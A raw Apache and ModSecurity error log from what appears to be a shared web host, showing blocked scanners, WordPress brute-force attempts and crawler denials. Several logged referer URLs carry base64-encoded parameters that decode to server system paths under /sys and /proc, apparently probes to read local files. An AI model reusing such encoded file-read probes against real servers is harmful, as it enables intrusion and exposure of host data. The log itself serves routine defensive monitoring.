https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:21:05.902507 2026] [access_compat:error] [pid 646876:tid 646885] [remote 57.141.14.74:20400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:05.903038 2026] [access_compat:error] [pid 646876:tid 646885] [remote 57.141.14.74:20400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:05.908807 2026] [security2:error] [pid 648189:tid 648342] [remote 17.246.23.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z8VWSojQL4F7upKCKqQAAqnc"] [Sat Jun 13 18:21:05.972591 2026] [security2:error] [pid 646876:tid 646958] [remote 47.128.124.167:62118] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "coscharis-tech.com"] [uri "/product-category/phone-accessories/power-banks/"] [unique_id "ai3z8dyTkdrNlD40tSHDywAAFk8"] [Sat Jun 13 18:21:06.187605 2026] [access_compat:error] [pid 648189:tid 648288] [remote 57.141.14.21:21833] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:06.187923 2026] [access_compat:error] [pid 648189:tid 648288] [remote 57.141.14.21:21833] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:06.277579 2026] [security2:error] [pid 648189:tid 648328] [remote 23.98.142.183:60677] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.142.98.23.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.captpeacock.com"] [uri "/peacock-bass-fishing.php"] [unique_id "ai3z8lWSojQL4F7upKCKtwAAzmk"] [Sat Jun 13 18:21:06.339567 2026] [security2:error] [pid 648189:tid 648224] [remote 17.22.245.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z8lWSojQL4F7upKCKuAAA-QQ"] [Sat Jun 13 18:21:06.389776 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:21:06.390125 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:21:06.400096 2026] [security2:error] [pid 648189:tid 648289] [remote 17.246.19.137:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z8lWSojQL4F7upKCKuQAAq0M"] [Sat Jun 13 18:21:06.548705 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.227.22:51350] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:21:06.548989 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.227.22:51350] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:21:06.572328 2026] [access_compat:error] [pid 646876:tid 646928] [remote 57.141.14.12:37924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:06.572710 2026] [access_compat:error] [pid 646876:tid 646928] [remote 57.141.14.12:37924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:06.806560 2026] [security2:error] [pid 648189:tid 648221] [remote 17.22.245.193:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 193.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z8lWSojQL4F7upKCKwwAA6QE"] [Sat Jun 13 18:21:06.811312 2026] [security2:error] [pid 648189:tid 648275] [remote 17.241.75.228:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 228.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z8lWSojQL4F7upKCKxQAAqTU"] [Sat Jun 13 18:21:06.874502 2026] [access_compat:error] [pid 648189:tid 648329] [remote 57.141.14.106:22807] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:06.874791 2026] [access_compat:error] [pid 648189:tid 648329] [remote 57.141.14.106:22807] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:06.939585 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9kZXZpY2Uvd2FrZXVwL3dha2V1cDM0 [Sat Jun 13 18:21:06.940057 2026] [access_compat:error] [pid 646876:tid 646914] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9kZXZpY2Uvd2FrZXVwL3dha2V1cDM0 [Sat Jun 13 18:21:07.023431 2026] [security2:error] [pid 648189:tid 648298] [remote 74.7.227.53:53970] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3z81WSojQL4F7upKCKzQAAw0w"], referer: https://northsecuritysystems.com/?product=hik-central-licencia-anade-modulo-para-temperatura-y-cubrebocas-hikcentral-p-tempmask-module [Sat Jun 13 18:21:07.136702 2026] [security2:error] [pid 648189:tid 648322] [remote 198.177.120.121:48084] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.120.177.198.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "beetreemuseum.net"] [uri "/wp-login.php"] [unique_id "ai3z81WSojQL4F7upKCKzwAAtmM"] [Sat Jun 13 18:21:07.144874 2026] [security2:error] [pid 648189:tid 648286] [remote 17.241.227.59:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 59.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z81WSojQL4F7upKCK0AAAtUA"] [Sat Jun 13 18:21:07.322147 2026] [access_compat:error] [pid 648189:tid 648243] [remote 57.141.14.44:62569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:07.322426 2026] [access_compat:error] [pid 648189:tid 648243] [remote 57.141.14.44:62569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:07.454084 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:21:07.454418 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:21:07.520618 2026] [security2:error] [pid 648189:tid 648226] [remote 74.7.227.53:53970] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3z81WSojQL4F7upKCK2wAAxAY"], referer: https://northsecuritysystems.com/?product=hik-central-licencia-anade-modulo-para-temperatura-y-cubrebocas-hikcentral-p-tempmask-module [Sat Jun 13 18:21:07.656248 2026] [security2:error] [pid 648189:tid 648262] [remote 17.22.237.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z81WSojQL4F7upKCK3wAA-yg"] [Sat Jun 13 18:21:07.676599 2026] [security2:error] [pid 646876:tid 647071] [client 189.217.192.30:50338] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1482"] [id "909121"] [msg "IP address blocked, too many xmlrpc.php failures"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3z89yTkdrNlD40tSHD_wAAAD8"] [Sat Jun 13 18:21:07.676738 2026] [security2:error] [pid 646876:tid 647071] [client 189.217.192.30:50338] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3z89yTkdrNlD40tSHD_wAAAD8"] [Sat Jun 13 18:21:07.770556 2026] [access_compat:error] [pid 648189:tid 648254] [remote 57.141.14.3:27980] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:07.771023 2026] [access_compat:error] [pid 648189:tid 648254] [remote 57.141.14.3:27980] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:07.997466 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0 [Sat Jun 13 18:21:07.997914 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0 [Sat Jun 13 18:21:08.004556 2026] [security2:error] [pid 648189:tid 648391] [client 189.217.192.30:50339] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1054"] [id "900998"] [msg "Wordpress Brute Force 15 attempts in 3 Mins. 5 Min block"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai3z81WSojQL4F7upKCK6QAAAKs"] [Sat Jun 13 18:21:08.004777 2026] [security2:error] [pid 648189:tid 648391] [client 189.217.192.30:50339] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai3z81WSojQL4F7upKCK6QAAAKs"] [Sat Jun 13 18:21:08.067949 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.51:37658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:08.068293 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.51:37658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:08.147358 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.8:43913] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:08.147627 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.8:43913] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:08.530637 2026] [access_compat:error] [pid 646876:tid 646953] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvaVRDT193ZHQ= [Sat Jun 13 18:21:08.531097 2026] [access_compat:error] [pid 646876:tid 646953] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvaVRDT193ZHQ= [Sat Jun 13 18:21:08.602072 2026] [access_compat:error] [pid 648189:tid 648269] [remote 57.141.14.96:25795] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:08.602417 2026] [access_compat:error] [pid 648189:tid 648269] [remote 57.141.14.96:25795] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:08.635265 2026] [access_compat:error] [pid 646876:tid 646941] [remote 57.141.14.97:39034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:08.635683 2026] [access_compat:error] [pid 646876:tid 646941] [remote 57.141.14.97:39034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:09.075546 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:21:09.075866 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:21:09.298626 2026] [access_compat:error] [pid 648189:tid 648280] [remote 216.73.216.223:46958] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:09.299135 2026] [access_compat:error] [pid 648189:tid 648280] [remote 216.73.216.223:46958] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:09.324611 2026] [security2:error] [pid 648189:tid 648367] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 